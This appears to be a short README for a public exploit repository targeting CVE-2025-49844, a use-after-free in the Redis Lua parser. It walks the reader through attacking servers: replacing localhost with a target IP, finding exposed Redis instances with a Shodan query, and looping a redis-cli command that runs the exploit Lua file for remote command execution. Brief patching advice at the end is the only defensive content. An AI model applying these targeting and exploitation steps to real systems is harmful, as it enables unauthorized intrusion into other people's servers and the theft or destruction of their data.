elyasbassir/cve-2025-49844Exploit script for CVE-2025-49844, a use-after-free vulnerability in Redis Lua parser, enabling remote code execution on vulnerable Redis servers.
In short and simple terms, you run this script and instead of
localhost
you provide the target IP and configure its port, it connects if it is vulnerable, and you can execute any command you want.
In Shodan, you can also find vulnerable targets with this payload
product:"Redis key-value store"
Check the version, make sure it is below 8.2
while redis-cli -h localhost -p 6379 --eval CVE-2025-49844.lua >/dev/null; do
printf 'connect to server :) RCE'
done
If you can, update Redis to 8.2.2 or newer.
If you cannot update, at least disable Lua execution for unknown or untrusted users.